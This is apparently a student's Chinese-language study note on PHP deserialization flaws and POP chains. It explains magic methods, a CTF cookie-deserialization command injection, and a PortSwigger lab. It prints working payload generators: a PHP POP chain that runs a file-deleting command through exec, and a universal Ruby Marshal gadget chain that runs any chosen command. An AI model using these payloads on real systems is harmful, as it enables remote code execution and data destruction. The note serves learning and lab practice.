PHP Serialization Vulns Note

Before all

段考完有空了,來看之前一直想看的POP Chain,順便用這篇筆記紀錄其他關於php序列化的弱點/相關知識
POP Chain的部分可能還暫時偏基礎但我會盡量寫
還要努力🐳

php class

在理解序列化/反序列化前要先理解class

一個php class的結構大概會是長這樣

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
class Whale
{
public $name = 'Cute_Whale';
protected $budget=0;
private $food = '0xf00d';
public function __construct($name)
{
$this->name = $name;
}
public function __get($name)
{
return $this->$name;
}
public function __set($name, $value)
{
$this->$name = $value;
}
public function __wakeup()
{
system("python3 cowsay.py 'Welcome back, $this->name'");
}
}

操作範例:

1
2
3
$www=new Whale('whale120');
var_dump($www->name);
var_dump($www->food);

一個變數/函數的權限分為public, protected, private,當中代表的分別為外界可採訪,可以繼承但外界不能採訪,以及不能繼承也不能採訪,如果都沒定義那就會被歸類在public
再來,一個class裡面可以有很多的變數,而這些變數就跟C++裡面的struct呼叫方法很像。
如上例,如果我想取得一個Whale物件的名字(name)我只要以variavle_name->name就可以抓到內容。
最後注意到那些__開頭的函數(像是__get, __set)等等,那些是php內建的魔法函數(Magic Methods),會在一些特定情形被觸發。

Magic Methods

一些 magics 的整理:
其他遇到的時候google一下都可以owob

__construct

這個最好理解,就是在物件被創造時可以初始化它的方法
像是剛剛的程式碼:

1
2
3
4
public function __construct($name)
{
$this->name = $name;
}

在初始化的時候就會變成要:

1
$www=new Whale('whale120');

要塞個東西進去初始化它的name。

__get

繼續以剛剛的class做例子,假設我沒定義__get函數,那當我抓取是public變數的name時,它一樣可以正常回傳。
但假設我今天抓的是protected, private類型的變數,那就會出現error
image
像這樣。
看到這裡,應該就想的到__get函數的功能了吧~
沒錯,它就是在抓一個class物件裡面比較隱私的內容時會觸發的函數。
那會這樣做的原因是開發員可能會希望一些比較private的物件資訊可以被保護(像是設定__get只能抓身分證前四碼之類的)。
最後,如果那個attribute不存在也會先通過__get

__set

__get幾乎一模一樣,在編輯protected, private的attribute內容時會觸發的函數,會有兩個位置,第一個放現在的attribute name, 第二個放變數醬

__invoke

當物件要被當作函數使用時會觸發的magic
什麼時候會被當function用呢?
像是:

1
2
$function=$Whale->name;
$function()

恩,超怪…

__toString

當有人試著把物件當作字串解析時會觸發的magic
Example:

1
2
$this->url=new Whale
preg_match('ftp://', $this->url)

__wakeup

在物件收到unserialize()反序列化函數呼叫時會觸發的magic

__sleep

__wakeup相反,在序列化的時候觸發

什麼是序列化/反序列化?

Serialization/Unserialization

想想看今天網站想把一個array/class 物件當作cookie塞給你怎辦?
當然是把它變成一個字串咯,這就是serialize()函數會做的事
然後unserialize就是反過來把字串解回去array/class 物件

看個我之前社內賽的題目:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
<?php
if($_COOKIE['confirm']!="Tru34dmin"){
die('You are not admin');
}
class Cat
{
public $name = '(guest cat)';
function __construct($name)
{
$this->name = $name;
}
function __wakeup()
{
echo "<pre>";
system("python3 cowsay.py 'Welcome back, $this->name'");
echo "</pre>";
}
}

if (!isset($_COOKIE['cat_session'])) {
$cat = new Cat("cat_" . rand(0, 0xffff));
setcookie('cat_session', base64_encode(serialize($cat)));
} else {
$cat = unserialize(base64_decode($_COOKIE['cat_session']));
}
echo '<h1>Hello, '.$cat->name.'</h1>';
highlight_file('console.php')
?>

這題簡單來說就是會塞個序列化後的Cat物件給你當cookie,然後要透過unserialize的過程去觸發__wakeup,最後做command injection
然後請容我現在不想重打一遍

POP Chain

終於進到主題了,什麼是pop chain呢?
當一個網站會去使用php的unserialize函數去解你丟進去的東西(譬如說cookie),那如果你能透過串起一些剛剛的magic最後做到你想做的事情,這個產生的payload就叫做POP Chain。
直接用Port Swigger上的一題當範例:
source code:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
<?php

class CustomTemplate {
private $default_desc_type;
private $desc;
public $product;

public function __construct($desc_type='HTML_DESC') {
$this->desc = new Description();
$this->default_desc_type = $desc_type;
// Carlos thought this is cool, having a function called in two places... What a genius
$this->build_product();
}

public function __sleep() {
return ["default_desc_type", "desc"];
}

public function __wakeup() {
$this->build_product();
}

private function build_product() {
$this->product = new Product($this->default_desc_type, $this->desc);
}
}

class Product {
public $desc;

public function __construct($default_desc_type, $desc) {
$this->desc = $desc->$default_desc_type;
}
}

class Description {
public $HTML_DESC;
public $TEXT_DESC;

public function __construct() {
// @Carlos, what were you thinking with these descriptions? Please refactor!
$this->HTML_DESC = '<p>This product is <blink>SUPER</blink> cool in html</p>';
$this->TEXT_DESC = 'This product is cool in text';
}
}

class DefaultMap {
private $callback;

public function __construct($callback) {
$this->callback = $callback;
}

public function __get($name) {
return call_user_func($this->callback, $name);
}
}

?>

首先,這個網站的cookie是會經過php反序列的,所以先去尋找__wakeup的magic出現在哪?

答案就是CustomTemplate,然後__wakeup會去觸發它裡面的build_product()函數:

再來觀察哪個class帶有弱點,會發現DefaultMap__getmagic有個call_user_func($this->callback, $name);的段落,而call_user_func這個函數在php裡面可以以字串的方式去呼叫函數/參數。

官方網站解釋:https://php.golaravel.com/function.call-user-func.html

而這題的目標是執行rm /home/carlos/morale.txt,所以可以利用:

1
call_user_func('exec', 'rm /home/carlos/morale.txt');

達成目標。
仔細觀察DefaultMap的段落:

1
2
3
4
5
6
7
8
9
10
11
class DefaultMap {
private $callback;

public function __construct($callback) {
$this->callback = $callback;
}

public function __get($name) {
return call_user_func($this->callback, $name);
}
}

如果希望執行call_user_func('exec', 'rm /home/carlos/morale.txt');,有兩點:
1.必須能呼叫到__get,也就是有人去存取那個物件的callback attribute
2.必須使name='rm /home/carlos/morale.txt'而且那個DefaultMap物件的callback當下等於'exec'
再回去觀察一次CustomTemplatebuild_product()函數

1
2
3
private function build_product() {
$this->product = new Product($this->default_desc_type, $this->desc);
}

發現它會建立一個Product物件,去看看Product的內容:

1
2
3
4
5
6
7
class Product {
public $desc;

public function __construct($default_desc_type, $desc) {
$this->desc = $desc->$default_desc_type;
}
}

如果把desc變成DefaultMap物件,那就可以透過__construct去呼叫DefaultMap'rm /home/carlos/morale.txt'attribute(當然,它不存在,但前面說過不存在的也會通過__get),最後再把DefaultMapcallback預設成'exec'就可以完成剛剛的RCE規劃了!
FINAL PAYLOAD:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
<?php
class CustomTemplate {
public $default_desc_type;
public $desc;
}
class Product {
public $desc;
}
class DefaultMap {
public $callback="exec";
}

$payload=new CustomTemplate();
$payload->default_desc_type="rm /home/carlos/morale.txt";
$payload->desc=new DefaultMap();
echo(base64_encode(serialize($payload)));

我還有看到一個不錯的範例在:https://blog.csdn.net/cosmoslin/article/details/120297881

phar://

在php中有許多奇奇怪怪的協議,像是LFI時可以利用的php://協議,而在php中phar://的協議可以把那個檔案當作php phar的物件反序列化一次。
Github Repo:https://github.com/kunte0/phar-jpg-polyglot/tree/master

同場加映

不只php有反序列化的洞,而因為這些套件現在都是互相用來用去的所以其實有很多別人整理好的gadget

phpgcc

打現存的php套件的POP CHAIN生成工具

https://github.com/ambionics/phpggc

ysoserial

JAVA 現存反序列化攻擊PAYLOAD們
https://github.com/frohoff/ysoserial
P.S. KALI LINUX上面的debug方式
調回去java11,前面接上:

1
PATH=/usr/lib/jvm/java-11-openjdk-amd64/bin:$PATH

後面再打jar ......
疑似CommonsCollections那一系列比較容易過(?)

Ruby

rs.instance_variable_set('@git_set', "id")那行第二個參數的id換成想要的command
然後丟去onlinegdb
來源:https://devcraft.io/2021/01/07/universal-deserialisation-gadget-for-ruby-2-x-3-x.html
好像2.X~3.X都能打,挺萬能的(?

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
# Autoload the required classes
Gem::SpecFetcher
Gem::Installer

# prevent the payload from running when we Marshal.dump it
module Gem
class Requirement
def marshal_dump
[@requirements]
end
end
end

wa1 = Net::WriteAdapter.new(Kernel, :system)

rs = Gem::RequestSet.allocate
rs.instance_variable_set('@sets', wa1)
rs.instance_variable_set('@git_set', "id")

wa2 = Net::WriteAdapter.new(rs, :resolve)

i = Gem::Package::TarReader::Entry.allocate
i.instance_variable_set('@read', 0)
i.instance_variable_set('@header', "aaa")


n = Net::BufferedIO.allocate
n.instance_variable_set('@io', i)
n.instance_variable_set('@debug_output', wa2)

t = Gem::Package::TarReader.allocate
t.instance_variable_set('@io', n)

r = Gem::Requirement.allocate
r.instance_variable_set('@requirements', t)

payload = Marshal.dump([Gem::SpecFetcher, Gem::Installer, r])
require "base64"
puts Base64.encode64(payload)

After all

今天好累,我改天會去看防護和繞過防護的方法orz
我還要多練習><